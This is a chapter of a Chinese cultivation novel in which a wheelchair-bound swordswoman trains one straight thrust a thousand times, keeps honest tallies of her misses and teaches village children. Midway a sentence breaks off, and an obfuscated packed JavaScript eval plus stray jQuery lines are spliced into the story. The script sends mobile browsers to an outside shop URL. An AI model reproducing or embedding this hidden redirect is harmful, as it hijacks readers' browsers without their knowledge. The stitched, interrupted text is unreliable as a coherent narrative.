无名铁剑没有剑鞘。
陈九用两片旧竹给它夹出护套，麻绳一扎，便能挂在江照夜的木轮椅旁。铁剑不锋利，仍有三斤二两，江照夜每天只能真正握它半个时辰。其余时间，她用桃枝或空手练习同一个动作。
直刺。
院墙被陈九刷了一层石灰，中间点上九个黑点。最高到江照夜眉心，最低在膝下，左右错落。她每刺一次，便让阿满从左碗拿一颗黄豆放进右碗。右碗装满一百颗，今日训练便结束。
第一日，她只刺了三十一剑。
铁剑从第三十二次开始失去控制，剑尖不断下沉。江照夜没有改用桃枝凑数，也没有把未完成归咎于伤势。陈九在墙上写：铁剑三十一，余六十九。
第二日，四十七剑。
第三日下雨，胸骨疼到七分，只练空手二十次。空手没有重量，反而更容易让肩肘走回旧习。她在每一次刺出前先停一息，确认脚下、膝盖、腰腹与呼吸。
第四日，铁剑五十二。
第五日，她第一次刺满一百，却有六十三次没有碰到黑点。
阿满想把偏掉的豆子拿回左碗，被江照夜拦住。
“刺出便算一次。”江照夜说道，“准不准另记。”
“不准也算？”阿满问道。
“身体付出的力已经发生，不能当作没有。”江照夜回答。
这与桃溪村写损失名册是同一个道理。失败也有具体位置、原因和承担的疼，不能只因没有得到漂亮结果便从记录中删除。
于是墙边多了一块木板。
江照夜让阿满画九个圈，每日把命中次数记在相应位置。她很快发现，右上黑点命中最少，因为抬剑会牵扯胸椎；左下也不稳定，因为右腿承重不足。若只看总数，这些差别都会藏起来。
她调整站位，不再要求九处动作完全相同。刺右上时缩短半步，用左手多托一分；刺左下时先把重心移到木杖一侧。剑招不是一条神圣不变的轨迹，而是一连串身体与目标之间的真实协商。
第十日，累积六百二十一剑。
她的掌心磨出水泡，又破开，结成一层薄茧。肩背仍旧会疼，木支架内侧却不再每天见血。腿没有变得强壮多少，站立时的颤抖变得更小。力量增长极慢，感知却越来越清晰。
第十一日，她一剑也没有刺。
前夜山中降温，胸椎旧伤从凌晨便疼到八分。江照夜起初仍把铁剑拖到院中，双脚刚站定，呼吸便乱。她盯着左碗里尚未移动的黄豆，几乎又想用意志压过身体。
哑婆没有抢走剑，只把周迟留下的疼痛木牌放在她面前。木牌十格，江照夜自己将指针推到第八格。
决定停下的仍是她。
那一天，阿满替她热敷，陈九独自劈完柴。江照夜躺在窗边听其他人的劳作声，没有因为自己空白一日便把前十日全部否定。傍晚疼痛降到五分，她只在心里回想直刺的顺序，不让肌肉动作。
第二日重回院中，第一剑偏了三寸。
第十剑偏一寸。
第三十一剑才重新碰到黑点。身体会因休息变得生疏，也会在耐心重复中找回来。所谓坚持不再是永不停下，而是停下以后仍有权决定重新开始。
村中几个孩子渐渐跟着练。
他们没有铁剑，便拿笔直树枝排成一行。阿满站得最稳，石头总忍不住把直刺变成横扫，小豆连树枝都握不牢，只会向前伸手。江照夜不教他们心法，也不纠正成相同姿势，只让每个人先说哪里疼、树枝多重、想刺中哪个点。
“为何我和阿满站得不一样？”石头问道。
“因为你们的腿长不一样。”江照夜回答。
“那谁的是对的？”石头继续问道。
“能站稳、不会伤到自己、刺得到你选择的地方，便是此刻合适的。”江照夜说道。
这套练法简单得没有门槛。不会引气的人能练，腿脚不便的人可以坐着练，连小豆也能把一次伸手算作自己的第一刺。江照夜尚未意识到，她正在做一件照雪宗从未做过的事：让剑招先适应人，而不是先把人筛成适合剑招的样子。
陈九有时故意挪动黑点。
“昨日还在那里。”江照夜说道。
“敌人不会永远站在昨日的位置。”陈九回答。
“这是基础练习，不是对敌。”江照夜说道。
“劈柴时木纹也会变。”陈九回答，“基础若只能应付画好的点，便只是另一套死招。”
江照夜接受了。
她不再先看黑点，而是先看整面墙。石灰哪里剥落，砖缝哪里凹陷，晨光与暮色怎样改变距离判断。阿满偶尔挂一只装豆布袋，让目标随风摆动；陈九会在她刺到一半时敲一下铜盆，训练她不因突然声音让肩膀僵住。
第十四日，累积九百九十九剑。
最后一剑留到傍晚。
那日天色阴沉，北方群山被乌云遮住。江照夜午后收到商队带来的第二份功德院回函。诉状仍未受理，理由换成“所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929917|213611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
诉修士身份尊贵，应由所属宗门自查”。金阙门自查的结果附在后面：北山无登记田产损失，桃溪村所陈不足为据。
陈九把回函收入药柜，像上次一样准备再送。
江照夜却在那张纸前站了很久。
世间许多门都不为他们打开。没有仙籍，诉状便不算诉状；没有宗门，证言便不算证言；没有命书承认，人的名字与遭遇便可以被一句“不足为据”抹去。
她想起寒狱里灰衣人手中的黑册。
自己的名字已经从那上面消失。若所谓命运是一部早已写好的书，她在书中大概已经死于坠崖。往后每一次呼吸、每一碗药、每一文柴钱，都不在它的安排之内。
江照夜走到院墙前。
无名铁剑握在手中，重得真实。她把木杖留在右侧可以够到的位置，双脚踩住经过千万次踩踏的泥土。墙上最后一个黑点位于正中，不高，也不低。
暮风穿过桃林，叶片翻出浅白背面。
那一瞬，世间所有隔着她讲述她命运的声音都远了。
我没有剑骨。
我没有金丹，没有师门，没有一本命书肯承认我还活着。
可疼是我的，脚下这片地是我的，握剑时每一分颤抖也是我的。谁救过我，由我记得；谁伤害过我，也不能用大局替我解释。我要不要复仇，往哪里走，为谁停下，都不再由任何一面镜子替我回答。
若世上没有我的剧本，我便一剑一剑写出来。
江照夜向前刺出第一千剑。
没有剑气破空。
铁剑也没能穿透砖墙。钝剑尖碰上黑点，发出一声短促闷响，只震落几粒白灰。可从脚掌压地到剑尖抵达，整条力线没有在肩、腕或胸椎处断开。
她稳稳停住。
一粒石灰落在剑身，像雪，又很快滑下。
陈九问道：“第一千剑，值多少功德？”
“没有功德。”江照夜回答。
“那还练吗？”陈九继续问道。
江照夜收剑，调整呼吸：“明日从第一千零一剑开始。”
阿满把最后一颗黄豆放进右碗。
陶碗相碰，发出清脆一响。哑婆正在灶房熬药，炊烟缓慢越过院墙。周迟留下的木栏已被五月藤蔓缠住第一道刻痕，更远处，村民正在重栽东坡烧掉的桃树。
没有人知道一条新的路已经从这座小院开始。
它的起点不是仙人传承。
只是一记最普通的直刺。